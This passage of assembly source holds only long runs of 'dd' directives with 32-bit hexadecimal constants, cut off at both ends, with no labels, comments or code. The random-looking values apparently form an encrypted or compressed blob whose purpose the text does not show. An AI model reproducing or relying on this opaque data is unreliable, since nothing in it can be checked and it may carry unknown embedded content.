0A776DCh, 9049361Fh, 0F81EC92Dh dd 31CF2CE2h, 0DF230169h, 0BDFC5D8Bh, 0B2630005h, 59AEC1E1h dd 8F007DEDh, 30DCCC9Eh, 395D8AE0h, 0F100066Bh, 0F56EA409h dd 4A0041C2h, 297A81BBh, 0FE9ADF7h, 4EDD82D2h, 0C1B74004h dd 0C4A56304h, 6B3BEFD8h, 2BBE17h, 6CD343BAh, 3F9CF953h dd 840013C0h, 0E771D48Bh, 5000FAE5h, 0F44E8647h, 6196575h dd 392A68ABh, 0C10031FBh, 8ED3FA2Dh, 3027A60h, 0FC242151h dd 45E8CFCAh, 0CD012F2Ah, 9D9FF176h, 65F4346Eh, 0AEEEFBh dd 209870A9h, 4CEA444Fh, 0FF00A671h, 0BC75F5D8h, 16F81Eh dd 6B6C69Ch, 0DFAF5802h, 4F25E801h, 0B0457D46h, 0B98B864h dd 71F7C9BEh, 7810F88Bh, 90241B10h, 0EB0E9483h, 4425810Fh dd 0A820DA4Ah, 106E241Dh, 5C8980C4h, 0B60D31BDh, 0BE472C16h dd 1F1C3000h, 5DB0DBh, 0FC60032Ah, 0FB19C70Ah, 5CAFD700h dd 0E2070F6h, 0FE32741Fh, 0AD51044Ah, 0B010F59Ch, 670F16D8h dd 40B26470h, 9054C052h, 0F41E1DB3h, 9784403Dh, 0F3E0F0CFh dd 6FED0503h, 0D0CEA089h, 204B2Bh, 0DE1C93Ah, 4A7E6A9Bh dd 0FDC66B09h, 887800E9h, 30223B5h, 0EB38D740h, 0FBB0E209h dd 7302961Fh, 2E683731h, 20E14070h, 69FCDAh, 0C619852h dd 39674A2Dh, 6A142103h, 0A8172646h, 765E7Eh, 0B1A33809h dd 62863A88h, 0AF87BA04h, 14E0FFB4h, 5F051327h, 8E350031h dd 0EE3055D3h, 12F5720Eh, 7CA8407Fh, 0EFB1E0h, 0AA0EB48Ah dd 47AE113Fh, 4C6EA103h, 0F8D17EEAh, 994EE8Bh, 5E84D7E0h dd 0EBA2B40Eh, 0D0527671h, 82A7F03Eh, 98A4BEDEh, 747AE1h dd 0BD6391BFh, 0BB6193D6h, 0AE3F50BAh, 0B55B80D2h, 0CC5EBED3h dd 72C30059h, 77C662C0h, 0B304A646h, 3D969DCBh, 0A3B91090h dd 0D8BA10h, 3F5D018Eh, 325CF195h, 8801B094h, 7AA4B4FBh dd 0B02430BCh, 0DD9F007Bh, 1BCBF223h, 1845E900h, 0B95531F1h dd 0A6803FD5h, 389D5680h, 11E8897Bh, 0DCF5BC1Ch, 95996240h dd 299835h, 2F6CA55Ah, 0F8BBE928h, 0F0ED44A1h, 0F0051F9h dd 0C3B4332Ah, 3E3CE9h, 34310CA7h, 0AB9C55B5h, 0F2533A28h dd 20A3F029h, 5CD99200h, 28369546h, 540CEBBCh, 0AF7C9Ch dd 13A0F060h, 3A41453Bh, 15240500h, 817AA90Fh, 0EAA61E62h dd 0D842C7ACh, 2F378084h, 0F8043B56h, 82119593h, 0C845BC93h dd 0B76A57h, 255380EFh, 70FA3EC7h, 30003C7Bh, 8EA3FEB8h dd 18CC4B2Fh, 38CBFDFBh, 900F829Fh, 81B16602h, 0F7A2AC12h dd 0C09AF560h, 4C4E17B1h, 5005E34h, 0A5C143FFh, 0A01C2B29h dd 1FBD3D68h, 17E10C80h, 10E201E6h, 0CC87C68Ah, 0DC4A3541h dd 202DE00Eh, 0FC9E1C52h, 33F007B2h, 0C1329C81h, 0E8BE7DCBh dd 5C003196h, 0EB7B43CFh, 4B8F9DDh, 0C9BB4C95h, 8008BC10h dd 0E645F62Ch, 9BCA0F32h, 9ADD3558h, 9BC1B14Ch, 1FB8BC12h dd 0DB00642Fh, 0FBE50FFEh, 0E9801FC4h, 0EBA980F0h, 372D1B14h dd 9F5E3AC1h, 0FC0C146h, 23D700B2h, 0CDE29401h, 0A300ED28h dd 97B00721h, 0D2E53Bh, 2324BE77h, 0ADF31F78h, 30C060E6h dd 0B7B109A0h, 523F1DCDh, 40EE1CABh, 313214C2h, 0F2CC3AAh dd 0E0008334h, 0B9E1B429h dd 56460099h, 0A368F36Fh, 0B700C3BCh, 0F1FC695Ah, 32B916h dd 29CF4706h, 86F96101h, 45DF3Fh, 0F317FA2Eh, 7F6E96C6h dd 0B36B0E63h, 5A20C276h, 6ED0C6Dh, 944FF304h, 9C80F23Ah dd 9828F897h, 0C61C0057h, 52BDCACFh, 6105C984h, 0F1393E5h dd 0A2E90478h, 0FE041714h, 0ECD160Fh, 0CC778094h, 0D7181Ah dd 1008244Bh, 8526FAEEh, 16995600h, 1386E696h, 1D9D32A4h dd 0CE10C829h, 0E5EA8882h, 0F1654C88h, 1A10BC02h, 21BC8B80h dd 0E01259D0h, 89812D10h, 483C4102h, 94299063h, 3E8D519Dh dd 4474C426h, 7E84B860h, 83A896Bh, 6C2E4402h, 71192284h dd 0F3113E42h, 7501130h, 216EA811h, 34380852h, 11288494h dd 36216FC5h, 9035DB08h, 7AE58428h, 1F428A48h, 51C222Fh dd 4C04400Fh, 3DEAB1A1h, 58007BE0h, 326FDC81h, 0D100C11Fh dd 7D1ABE8Ch, 0CCDA9Ah, 2D7A3B16h, 30FA885h, 0BD7BD800h dd 0B6E63A68h, 348E3A57h, 43E08800h, 85E8E183h, 0F50CBC00h dd 8033797Ch, 634A00DAh, 876AAC92h, 0BC0676E0h, 5393150Dh dd 0E9F80010h, 54E19EEh, 0D8246B5Dh, 0BE803099h, 0FB8FD5B0h dd 497E008Dh, 0BF38F236h, 0E4187121h, 1540658Bh, 31CA0C91h dd 7E67CA2h, 3C5B4F00h, 5E427028h, 990B0057h, 9A04BE1Eh dd 11E0F1F0h, 69003B70h, 738AE4C0h, 1EC759h, 2B4E537Fh dd 0DB0C8D28h, 74923A7Ah, 8621EA18h, 79A392D9h, 0A47D0011h dd 0A1B4FD14h, 595C723Bh, 0FFDF0077h, 0A2FB63AEh, 44620EBDh dd 2C373C8h, 5A98D5A8h, 0B5007285h, 6CFB5C0Ch, 0FC0804h dd 0AA10D45Dh, 0B588455h, 3E221F03h, 0C953507Ah, 0D3E1DA13h dd 2126F0h, 0FE68BCFDh, 5C494FE1h, 2DC98103h, 886691CDh dd 0F00BC6h, 0F74093E4h, 0DD9C0627h, 637B79C0h, 15E6C1h dd 0AFBC2348h, 0DDB83A9h, 0BD059D7Bh, 1E4A8660h, 0FEABF301h dd 91F8C6A0h, 44FA3A41h, 2F8705BBh, 0D06518A2h, 24119368h dd 0C202C573h, 62B7859Dh, 7A53E038h, 7C6628B1h, 33390088h dd 7B016436h, 8D037D9Bh, 0A7DD8589h, 0E05EF3DBh, 5C37A3C1h dd 3B28EA9Fh, 0D19602D8h, 8587B435h, 0AE548880h, 36C116FDh dd 52714234h, 24C035FCh, 0C4B31h, 0FBAA6BFFh, 0FD015A9Ah dd 2F7B9C3Eh, 9C6469E6h, 956507B3h, 0E75CBAC4h, 0FC0ED0C0h dd 6B006781h, 2E0DF8DAh, 3695D6Ch, 27AC9DDCh, 0C000581Dh dd 7AA10944h, 7212B2Ah, 81666BB6h, 64882054h, 0C9004DDEh dd 9B707824h, 0FC62588Ch, 22B807CEh, 535616EBh, 0D1A0F8DDh dd 3200DE0Dh, 1E431ADAh, 601B53C6h, 38ECF066h, 7B00C8CBh dd 5019A239h, 73377A97h, 64100E8h, 0B06A7820h, 11026F15h dd 72DD3BA7h, 0A28080CEh, 2E6E1273h, 0AD20B1h, 14057110h dd 0F800DC39h, 25F489A5h, 1DAF2D5h, 88A1A86Bh, 0E4B6DD4Fh dd 412E8FD0h, 3B00D2C5h, 9903293Ch, 0A10100CEh, 0F613F735h dd 0B714339Eh, 51A49A47h, 8A14247Bh, 301CC000h, 9CFC6176h dd 60FF01D7h, 3A9EABF9h, 6DBBDC9Dh, 5ADB3701h, 0EFC8A64Dh dd 3D1ACD70h, 0FC01889Ah, 91AE7796h, 0E3E420E4h, 223D00B8h dd 822A007Ch, 0F5115CE6h, 5DCA464h, 2D8D5E8Eh, 0CC126Fh dd 0EF0CF624h, 0DA03634Bh, 9939CD1Eh, 9FF298AFh, 0C6BD008Fh dd 1DE410EBh, 94E64D7Dh, 450A2426h, 3FA3C800h, 0A503F1h dd 0EEDDC118h, 0DB9F9AEAh, 0B3BD5D00h, 0AACD99F6h, 0E6D0001Ch dd 4BC2F3C3h, 0C6009018h, 8F86A951h, 0C05B5025h, 0F3BBE058h dd 0AC00F7EAh, 10927C6Ch, 0E38DB0Ah, 2A232DC5h, 0ABA65101h dd 59A4409Ch, 0A8A08847h, 0C0002CA1h, 20CC8CD8h, 68753Ch dd 0AD09E05h, 0D6BD396Eh, 3B7FC4C0h, 0B23F1Dh, 93D877DAh dd 7379D27Bh, 5C3C400h, 9C36842Ch, 4961007Ch, 0B27EDF67h dd 0B00E5127h, 0E087128Bh, 0E6F11E83h, 3E42F0F8h, 724BEAh dd 0C79C3711h, 0BF5605A1h, 5F00E272h, 67F1DC91h, 0DB7599h dd 1CE8EBCAh, 0B61AFC93h, 0C5BB3016h, 0ABD53207h, 7479F940h dd 33771350h, 225A0743h, 200FE71Fh, 1AABA427h, 542D6C03h dd 0EFC68388h, 196D94E0h, 82B70058h, 7AAD8C0Ah, 111E662Eh dd 0A99890ABh, 0E5137D8h, 1D850D70h, 0C07BA3E0h, 2100AFC9h dd 0B5758D42h, 0C36AB3h, 0BB391FF4h, 8218B83Fh, 0F047A40Eh dd 4BE3E0CAh, 0E9473B5h, 37DD0F2Dh, 6C43AE60h, 0C00097C9h dd 5DD58478h, 3EBCE23h, 9AD37396h, 74A0A8DDh, 0CB00A9C7h dd 72D8B7BAh, 71DDAh, 9E4C02CCh, 71936378h, 5BBCD100h dd 3D1B4D52h, 0AD201EABh, 4A89C5F2h, 0EF81C002h, 0DA00BA6Eh dd 3A5B358Bh, 3061224h, 988CC6A5h, 0D5D02BFCh, 3800CCA9h dd 26730974h, 0D6316h, 0ADCEB786h, 0F9BFF3E7h, 0F4852128h dd 4540E072h, 7EE50083h, 0DA937D56h, 0A30F2A54h, 60E7CE12h dd 79E42CDDh, 0AD0E2549h, 9700C8D4h, 60801162h, 56A901BCh dd 0C4D5AE2Fh, 0A90EBE2h, 86EE8598h, 9CCB0202h, 40167054h dd 944A45h, 0E6685DCAh, 48F1EDAAh, 6AD89Dh, 74107C36h dd 0E4AE207Ah, 0BF2D3E00h, 0E9DAC411h, 0CA2107A9h, 0E0E15F07h dd 3E95EC3Ch, 0B63853E4h, 0AE1480A3h, 7BAA8D89h, 1EF90525h dd 0D277D5h, 97E1BC86h, 0F00082Dh, 57A98EADh, 27D035h dd 19B0B4Ah, 0C3B22CDh, 79231D5Ch, 8900B6F0h, 0D63895C8h dd 1C74F9h, 0B2509F2Bh, 5730368Bh, 14DAF600h, 3D7955FEh dd 0E641002Fh, 85A8832Ah, 0B99824F5h, 68C2E903h, 0C86049CBh dd 0E626C5B4h, 5AFB002Dh, 573E3989h, 3A03B1EAh, 0CAAFA93h dd 0FB379094h, 28801469h, 4C288095h, 89D4EFBCh, 203203DFh dd 0E14A63DDh, 818BD6A1h, 3B705921h, 57D4EE8Ch, 31671F5Dh dd 0A41500A8h, 0B139BFFAh, 765E6200h, 0A3294F1Fh, 245B3F6Dh dd 80B9A6h, 0D997710Eh, 7200C677h, 829156ABh, 1AF3E04h dd 16906110h, 0FCF1BE3Dh, 0B80096A2h, 329AE269h, 0D1B462h dd 246D9239h, 689BDAABh, 7EFBD000h, 78552916h, 5DB3013Bh dd 1845F17h, 0B66C20FEh, 0E9CDFD00h, 4E6EC792h, 0AB234830h dd 0AD80D700h, 4CE53B09h, 0A81C7078h, 0B4801D39h, 91DE7DD8h dd 78F6BDh, 1A321874h, 0A6236455h, 6C8DCE24h, 0A9015C02h dd 5A60685Eh, 0AA4E1F93h, 1706262Ch, 0B3E7009Ch, 41BE489Ah dd 0C2227100h, 55080D67h, 0B1FD0094h, 22BE9F3h, 0BCA09CF8h dd 5B133CDDh, 32003F47h, 2AB0D265h, 4B62B55Ah, 80B87884h dd 9D370F99h, 119FC600h, 8CFC72C7h, 587D00BFh, 88E7F452h dd 18008239h, 44D76B5Eh, 2DAB0Ah, 0FC82CB4h, 7F43ACD2h dd 3B0A753h, 0E9DF2507h, 61448080h, 21D300EDh, 6250688Eh dd 0E3007B02h, 0EBE1141Fh, 0A49A8Bh, 666C1837h, 38B46B7Fh dd 0C7ACF500h, 99E7C261h, 0C0E002Bh, 0D9CF1917h, 9E60FFD4h dd 8A471F8Ah, 2D3300FDh, 0EBEA3F14h, 8490A94Ch, 52C52900h dd 0B75BF57Eh, 39D2001Ah, 0D3B3C317h, 95005D72h, 0B4FCD17Dh dd 0E669CDABh, 2693B00Eh, 0A3A10Bh, 46E44E6Bh, 0B004EFCEh dd 0BEA35A3Fh, 15E68481h, 30C3DD5h, 316DC614h, 137F00ACh dd 2E4F632Ch, 97E603C9h, 89E1E77Eh, 59782100h, 0A6F3067Fh dd 8D1C1E99h, 0DEE6C0FAh, 79FB187Ah, 7B5D03Dh, 1B3495A5h dd 0F95FF9C3h, 1420F215h, 0A6370350h, 0BDA70D49h, 94B96AC0h dd 9E28C300h, 2F656FE0h, 0AA61079Bh, 0C7E9ADh, 0D498B9A7h dd 471E3B00h, 162BDC5Fh, 0F8E101F3h, 0B4A6BE9Fh, 52B270A3h dd 61CA7F01h, 0A8954A91h dd 20CDA440h, 2CE200FEh, 0E88753C4h, 1E1CB39Dh, 0C2C03ED6h dd 607DA64Ch, 695600D5h, 0D06B4FCEh, 0C0BAD6Dh, 1082Eh dd 4B62B36Bh, 7E9C0A4Ch, 0A4BFFFh, 0A521B142h, 2E6FD9Fh dd 0A948ED00h, 0A6B9E4B8h, 0F37C88h, 0A16F584Ah, 5EE81B83h dd 0DFD48200h, 27EB1D7Fh, 24F24C93h, 68BFE10Fh, 0D094B580h dd 3E1DC176h, 22420D8Eh, 83BC19ACh, 0D138BD94h, 52DC0414h dd 0E8C63DF7h, 4F5CDF00h, 7760FCFBh, 7FF12618h, 1118C111h dd 5FD43Eh, 4DAFC2AAh, 2AEC3B7h, 0EB13A346h, 0C940907Dh dd 3CEA17ABh, 0FCB5B000h, 0D5D148C9h, 47AC0255h, 3E4025A3h dd 0B1D00040h, 77ED241Dh, 6F3AA583h, 87D48901h, 3BC91024h dd 0C080FF1Bh, 0EA82FA22h, 4D3C8404h, 0EBBC0002h, 0EFBAA8E2h dd 0CB0C0E3Fh, 1396986Ah, 5D6C5E43h, 15FC0037h, 92697504h dd 95C834Ch, 8948DAC8h, 98B0006Dh, 0EB8E50h, 998866C1h dd 0D9D364FEh, 0C1F2B00h, 9E9D39ADh, 0E03D0186h, 539CFBD8h dd 0DDA270F2h, 0F725100h, 76DFB471h, 2C5500E3h, 0E6579E85h dd 5F01A4BFh, 0A310A128h, 0C600BFAh, 2353038Ch, 8460B92Ah dd 0D4711DC8h, 877B4Ch, 11F647D5h, 0CF67BBh, 5863A843h dd 8FE82F02h, 750F2575h, 6001533Bh, 425D9A20h, 6A8602A3h dd 0A6E743A1h, 968023C3h, 71C0C4D8h, 421C8F38h, 69C985Ch dd 0C71EA7C2h, 6C00C8E9h, 0C1D23C51h, 0B82407D3h, 91490EECh dd 18A05BE1h, 0EFCFA177h, 994E4C0Fh, 55E0007Ch, 7E729CDh dd 0A049214Ah, 13F6F134h, 698CDC7Dh, 160777E2h, 3CCF2499h dd 5BB19C11h, 21230E0h, 53727BF5h, 9061A375h, 6B6C7095h dd 0AE3C7402h, 8147D4F2h, 0B030D5A2h, 5CDCD320h, 3A3AB97Eh dd 0C74EF580h, 0A2B7CE70h, 0FC838F26h, 245CC100h, 54C356h dd 0AE34400Dh, 25774613h, 45D1A2Eh, 0D2038420h, 0DC18D0A9h dd 40BAB0B1h, 21FD007Ah, 818A66C3h, 0EE00C763h, 0D6F998EBh dd 6F350Ah, 5732C93Eh, 0A12B4D12h, 5B556E00h, 8CECB52Dh dd 9A056026h, 59378652h, 0CA3CA016h, 20554C0Fh, 3892C4BEh dd 0AC7B006Ch, 6840A1C1h, 3C01F543h, 0E5220E53h, 72CC3101h dd 0FAC10045h, 1AA4D081h, 5200461Ch, 4C75C64h, 4941E2h dd 26CD224Bh, 3E280729h, 0F45F3502h, 4027CB7Ch, 815090h dd 0AD82D108h, 0D5A1B755h, 1CCAB0Fh, 57268037h, 0E394BFh dd 0E19A786Eh, 45E2BA95h, 1984C900h, 0F91BCC4Fh, 24C20081h dd 35C78808h, 0DE3A8D0Dh, 70EA5828h, 4C9A1700h, 0B6F9DC25h dd 36C1003Dh, 884DF3A4h, 0B200646Dh, 381B5FF4h, 41EA6Fh dd 81774BA0h, 251F31E9h, 72C1CA00h, 54C2EEE1h, 0E680015Bh dd 2060BB2Ch, 1870F016h, 2555F800h, 1AD41C6Ah, 0E50A0462h dd 0C02C2D24h, 0AE8FCE6Dh, 0F0090F6h, 0EC293BE0h, 0C52306h dd 7C5F9BF7h, 0F2218D20h, 0C7311401h, 2F390EE5h, 37D0FCh dd 87C830Bh, 43237129h, 2ECE6F58h, 18006151h, 35B26703h dd 0F6B9130Eh, 0BD1449ABh, 55A0E800h, 3C2EB6D9h, 0C3006B04h dd 2446D8F7h, 0E8F90015h, 121FB701h, 0A803B3BFh, 0A03658D0h dd 406C821Ah, 98A505B4h, 11BB033Fh, 98019EBh, 0C0C874A7h dd 6FF1E48Ch, 0F25C7D14h, 0AD00A86h, 0A026DD95h, 91AF8E00h dd 26F4563Eh, 808C62BFh, 0DB8C722Bh, 13EE355Bh, 201CC926h dd 71D47E00h, 0C01776BFh, 0E7C43940h, 1E1FAB4Dh, 60039910h dd 1EE4CC5Ah, 409ED998h, 0ACC4D7D0h, 0DF00CF93h, 79F7A634h dd 76A3AD3h, 7A6B184Ch, 616C3045h, 5A00A88Ah, 9FC35549h dd 93D2Dh, 0B8020F6Fh, 0F38648A0h, 0B08AEA1Dh, 0D98A800h dd 0E54269h, 0C6674A2Bh, 3293FBB6h, 0D1AE5300h, 24033BA5h dd 83750142h, 6321E8F8h, 0A9F3FC47h, 330BB500h, 71B7C04Fh dd 1E381E13h, 42DC40D3h, 7F18BC32h, 6E9EB207h, 0BEA0CD26h dd 0A0ACC337h, 0B7C91DCh, 1070F5CAh, 0B65C0180h, 3C0F3B8Fh dd 60D5EA4Bh, 397549F2h, 0E2450003h, 819C8716h, 0FA0918F1h dd 0C6D51Ch, 2864B5C0h, 2AC116F0h, 9ED400BAh, 0CA7A368Dh dd 0D9C6A11Fh, 0DA340E03h, 0A0C0AC22h, 0F86167h, 0EA8B7636h dd 0A30E3E19h, 63627400h, 0A2D63F40h, 8C2300CDh, 8EC5165Bh dd 2C1389B0h, 54000E18h, 552B746Dh, 0C46700B1h, 489DF9A8h dd 0E60E2377h, 0F7E2C902h, 4E254000h, 4A2FE9h, 47FFBB39h dd 0C7A4D99Ah, 42C9B48h, 84127515h, 0E1AF7BC0h, 1227B4Ah dd 0F387EB41h, 0C8EE89A5h, 0BF01EA03h, 3390327Dh, 91D4101Dh dd 0D3FB00BAh, 70DD5DF3h, 0C000A154h, 0B7AA5C4h, 0E2464BADh dd 3DCB0663h, 0F829DD50h, 96F7E000h, 0FE8B9E13h, 768960Dh dd 30DC0AFDh, 0B51811B2h, 48D7EA12h, 8090D4h, 24675CC4h dd 9580977h, 0AC022E83h, 0D6E3E1CBh, 85D6AB8h, 0CEEFC500h dd 0EB5671F4h, 8ECF0351h, 0B3C64EECh, 0A8E93A01h, 0C22A32Fh dd 50358870h, 79C8C1Ch, 347DB175h, 385E3092h, 0AE3CD174h dd 97DF8055h, 61BB73CDh, 0DE709Fh, 765059C6h, 6E46AC2Fh dd 0E840C91Dh, 98F6A43Bh, 0AAE6FE0Eh, 813CDCF7h, 2C21BB4Ch dd 0E2C0DD44h, 0AD851842h, 7F9C8B3h, 0D6A1DA00h, 0D461667Ah dd 0CA7C34h, 0EBDE326Eh, 45644B83h, 378C6803h, 0F05607DBh dd 2546D4h, 0C47E0FA2h, 43D7D63Dh, 3547E51Ch, 12E100FFh dd 4FC9382Bh, 0D96B163Bh, 5A0C0164h, 0C435D33Eh, 4503D47Bh dd 167D6A6Dh, 5E38D03Ah, 0BDC200EDh, 94B0B11Ah, 77D8DEEh dd 0C4374F07h, 0CC708128h, 0B954C6h, 7922DDF9h, 6EFD6CB4h dd 95D3A3Fh, 0AF1705h, 7EA14DACh, 47A90061h, 0DA77FED3h dd 4800A733h, 0C9419EBEh, 0F0E1FD21h, 4DE902D7h, 0EE50EACFh dd 8FAECC60h, 10002AE2h, 0CCCBE033h, 487EFC23h, 0C202ACBCh dd 26DDA231h, 0CFB52848h, 35F4A972h, 977CBA03h, 0D3DA5569h dd 9C08F01Ch, 577203A5h, 0B8AE463Eh, 0AF6410F0h, 8EF27B01h dd 2278565Bh, 7344420h, 16A5A93h, 1BD7906Fh, 0D11DFDBDh dd 47C0B751h, 0E1708C57h, 0FABB0007h, 64AF42CEh, 0D0025F8Eh dd 1E98B9B5h, 7808C069h, 0F49C07A3h, 49AB7AADh, 0A312040h dd 0C22FD000h, 1BC97EE3h, 0E2193079h, 9FAA27C9h, 66F84401h dd 92FAB3C5h, 0FE1EC2D8h, 3BA00055h, 9E5C2CA7h, 0E90923C8h dd 80AB80DEh, 2EC5A230h, 49A10F84h, 0EEE02B72h, 46ADBB28h dd 0DF180C00h, 0DA270B48h, 65360FFEh, 0A8385C3Dh, 5A18A6DDh dd 0A348B3F2h, 0EC440B11h, 9180C823h, 4E6E4C5Ch, 5F2A1C3h dd 698F973h, 4364D180h, 4CC118Ah, 0A2B47650h, 0D17B0700h dd 0D4735078h, 977A293Eh, 0B75B4074h, 0C60C0190h, 91832F74h dd 6E2A7DACh, 320614Fh, 8DDEE209h, 0C8BFCF28h, 5201FE77h dd 4A93F47Fh, 78806888h, 1B7BC35Ch, 54073E82h, 1E9663BEh dd 3D4828A6h, 53057821h, 933138C7h, 62F824D4h, 2766C2Ah dd 0BA04097Eh, 730FEDF0h, 0EE486080h, 0CE9001DEh, 0C19E1BB0h dd 4FA86039h, 6BFF6302h, 0C2BF188Ah, 0CD9C0180h, 0E180CCE0h dd 0E3268770h, 5E03E502h, 1AA772D3h, 32DAC986h, 15B09450h dd 0E940606Ah, 0E060AB4h, 0D4F4E0C0h, 601C7A4Ch, 0AB2451E1h dd 2FEA1F11h, 946952h, 1BB7741Ah, 1ED2A06h, 0F6AAC909h dd 50CE2EE0h, 0C16795Ch, 0E8CB8B00h, 0BA835E9Ah, 974D00EBh dd 4BA763C4h, 0A818A18Ah, 32987C6Dh, 31611022h, 52B7001Dh dd 0EFC12F07h, 0B92C007Fh, 977233D6h, 7E059295h, 52F9F1E5h dd 69088C04h, 1CBB0CC1h dd 7C5166F5h, 0E9805D0Ch, 0A065AA13h, 0A4002F83h, 86C890D3h dd 34CB62h, 1B2953F4h, 0C194B154h, 0D87216F0h, 13AB4B00h dd 12F8D752h, 7AF60B79h, 0F380EE2Ah, 35901A7Ch, 0C22D4B1Eh dd 0ACEA5080h, 0E2E83Bh, 9C33BB8Eh, 28806607h, 9DBD6900h dd 5F0292DCh, 0B8E83E0Bh, 95B2FC80h, 0A1998DF0h, 0B3760A00h dd 1F7247Eh, 0D6C80FADh, 0EECCC77Dh, 0FF001810h, 0FB116BE5h dd 336727Bh, 0BF47DDFh, 7C02679h, 562C8DA7h, 0F9008F14h dd 8CFCFB69h, 0CC8F0053h, 4727C55Bh, 0E505D901h, 7F16F1DCh dd 0D0F6E842h, 0A0F8A025h, 2AEEA2BBh, 0F9C802Eh, 0C18836AAh dd 0F80DF6C0h, 6A013B9Ch, 1B832543h, 946137E0h, 227ACDCh dd 6203F13h, 6441DE0Ch, 81B040A4h, 72009C36h, 65B35321h dd 619B7C7h, 0B1F02006h, 8300400Ah, 0D7BD3E56h, 49F586Ch dd 0F47E9B74h, 1F5CAC1Ch, 0ACBC0CEDh, 130E509Ah, 51AFE0B1h dd 34BBB8Fh, 5F17F0F9h, 62B83F19h, 1E00446Fh, 28A74940h dd 0E967FAh, 9AF0B9F8h, 115D9574h, 6F377100h, 3CD7C308h dd 63AD0440h, 808D3442h, 0B0224C49h, 4762C500h, 1E30D57Ch dd 507E003Ch, 67F796B3h, 740AEBE3h, 0A49F16ABh, 8D91AA00h dd 2D0E2Ch, 0CF63C9EAh, 6BC36E4Bh, 131CAC9Eh, 3C2ACC0h dd 2C1170h, 8AB15F98h, 0EC573D35h, 0F212DF00h, 0E2D37955h dd 9DFB00D9h, 4AB79CFAh, 4101E76Dh, 7E288737h, 0D8531D10h dd 529CF920h, 0D8D59681h, 0C4282FDBh, 8F25A704h, 9D0F408h dd 2CA062FEh, 0CB8ADE93h, 0ADAA7F00h, 0CDEF9DFCh, 6396121Bh dd 316C0360h, 0EDC06D88h, 0B5079C99h, 43D29275h, 617D20B2h dd 86D8E313h, 547C00DDh, 5C8DF37Bh, 89605649h, 23AB1D54h dd 0C35F1E79h, 0B982C0BFh, 0BDF22742h, 8FBBDB00h, 0CAF313DFh dd 0AAA31C73h, 1DE38103h, 0DC65A91Bh, 0E0426D1h, 61054479h dd 0BD192680h, 0D932001Dh, 7597B207h, 438D16Eh, 0F94E80CEh dd 0D3872DA0h, 738C037Eh, 9FA50E3Ah, 0B6581890h, 25F18301h dd 0E7776CCEh, 9C4820h, 294786Ah, 1BF5D639h, 4AAC4200h dd 812D24EEh, 0EDCF0028h, 85E2043h, 0D424F2F7h, 820E62E1h dd 0B9FCC3D9h, 1FAAB804h, 685100F9h, 44264E65h, 3BE8A84Dh dd 78F14B03h, 0E00AE674h, 602166h, 0AA282932h, 6ECB04B6h dd 57AC3B12h, 0A6EBC005h, 0A900D89Bh, 961E2A57h, 7A00EB88h dd 82A8342Eh, 16B1B513h, 13DC2CD2h, 0DA5402E8h, 3CC89FCAh dd 621E6C5Dh, 75864A1Ch, 919EEBCh, 6D41982h, 0F262D490h dd 0B372D000h, 0BAB90F8Ch, 2AA22CAFh, 74E442E4h, 6F4B1468h dd 270448h, 0FC8F2272h, 21C06B3h, 12449AEh, 0E8CAA52Ch dd 48726410h, 53C9F5Ch, 0A279D25Eh, 0A7308481h, 0BE072C38h dd 2146AB55h, 2444FD1Ah, 4A2CF96Ch, 0E703E04Bh, 0CAB72842h dd 38685A64h, 0A1E2AF43h, 0C8209268h, 0F759A3h, 1B8E7AA8h dd 622C1FEh, 670A8600h, 44CC3E9Ah, 0D099C21Ah, 0B080D8DEh dd 69BA8DF4h, 6B180BECh, 5F822BB6h, 81A238B7h, 0CF6C6687h dd 0CA78F0A5h, 2F1DC9A6h, 8F9DAD80h, 93A442C7h, 388883DFh dd 767AF375h, 74F8E91h, 7F6FC405h, 399B2CB0h, 281843E5h dd 94CFF933h, 9EF50B00h, 9C3BBFB8h, 912307FEh, 60660E6Bh dd 0B4FCDB41h, 0DD32150Eh, 0A48FEA75h, 0EC008312h, 0B030BDC4h dd 1C988Bh, 6FCC2735h, 1F5D7F4Fh, 180E3B03h, 0C888E5BEh dd 9470FED3h, 8F1A80C4h, 0EDAD0D20h, 780CC306h, 1027DAh dd 5E81D8Eh, 0FB7D58B8h, 7EC69C01h, 7F123973h, 30385601h dd 0DD005C85h, 0FE1DB870h, 0FE2E287Ch, 9A1703C0h, 0B6D7A792h dd 9B860788h, 614A4E05h, 0DC528FD4h, 0CC15200Ah, 0F27AA080h dd 1C5FBDE7h, 0CAF5D09Dh, 8190FE7Dh, 0BAC39643h, 0C02E70C9h dd 0A0D9DB03h, 0C381E4B4h, 57500156h, 0C1069FA3h, 443C6Ch dd 59E3825h, 0B04E8B96h, 0BC350F38h, 0DA8FAEF3h, 3CE70F80h dd 0B90F2B6Ch, 0E051085Ah, 21478AFEh, 50A0007Ah, 94BD7EB8h dd 3774A59Eh, 74C34Ch, 0CEE61A80h, 1D460731h, 0F86D44h dd 0C70C693Eh, 271D2589h, 2CC595A4h, 0C902B01h, 284DC5h dd 569080B5h, 0FC5A1E8Bh, 0F052AD00h, 2D738496h, 421403BAh dd 0AE06973Eh, 3F592F80h, 0B61EF400h, 17EB8591h, 0CC6401F1h dd 0FF7D7A2Ch, 0DCE1C97Bh, 0AF00680Ah, 818DAA45h, 1D0D0FEFh dd 0C2E364B0h, 9BBE4D5Fh, 2A025040h, 0EC4D725h, 5EBB60F8h dd 21BF994h, 86A568FCh, 984056ABh, 0A9005A34h, 48A77084h dd 7D070DE2h, 67B000EFh, 0BB50AD8Dh, 0DC24317Bh, 4F053C91h dd 58800492h, 0E58FD32h, 9FC34419h, 7DD8CEC3h, 0F7D61590h dd 50D0BD03h, 0F09D7CE1h, 0B3015Bh, 0EC56141Dh, 9B48EE19h dd 1CD96B5Ch, 0B64311FFh, 90B2DE7Bh, 2E697516h, 97343FC8h dd 30E42080h, 0C0005CEh, 19F2DCADh, 90F098BAh, 0AA4D0030h dd 0B8C9374Ah, 0E20E5739h, 0C37ED5A9h, 982C8061h, 64C348h dd 998860C6h, 0BA51E107h, 559A3D00h, 4C43CF2h, 3C55FA3h dd 0C594B4Ch, 0CFD5CED8h, 84C6580Eh, 28A1F222h, 0A03CB0E9h dd 0B89A900h, 0B34139E6h, 0AF791A00h, 11EE533Eh, 6C7849BAh dd 4E245603h, 0CB98EC47h, 0F7045E33h, 0DC86797Fh, 6C90DCD0h dd 0A64300EEh, 5C0C204h, 0C4F80BAEh, 0F970DEB8h, 0FD00DD74h dd 9E47B03h, 87D327h, 0A8EEF32Ah, 1A16BDB9h, 13EF2801h dd 0CA04AC19h, 94C40420h, 58BFE094h, 0B13B4CD4h, 0C7238425h dd 44B34F1Fh, 0AB142670h, 0B20300A0h, 0DD7F97D4h, 2C00C377h dd 0BCF61AC2h, 0BD8C6543h, 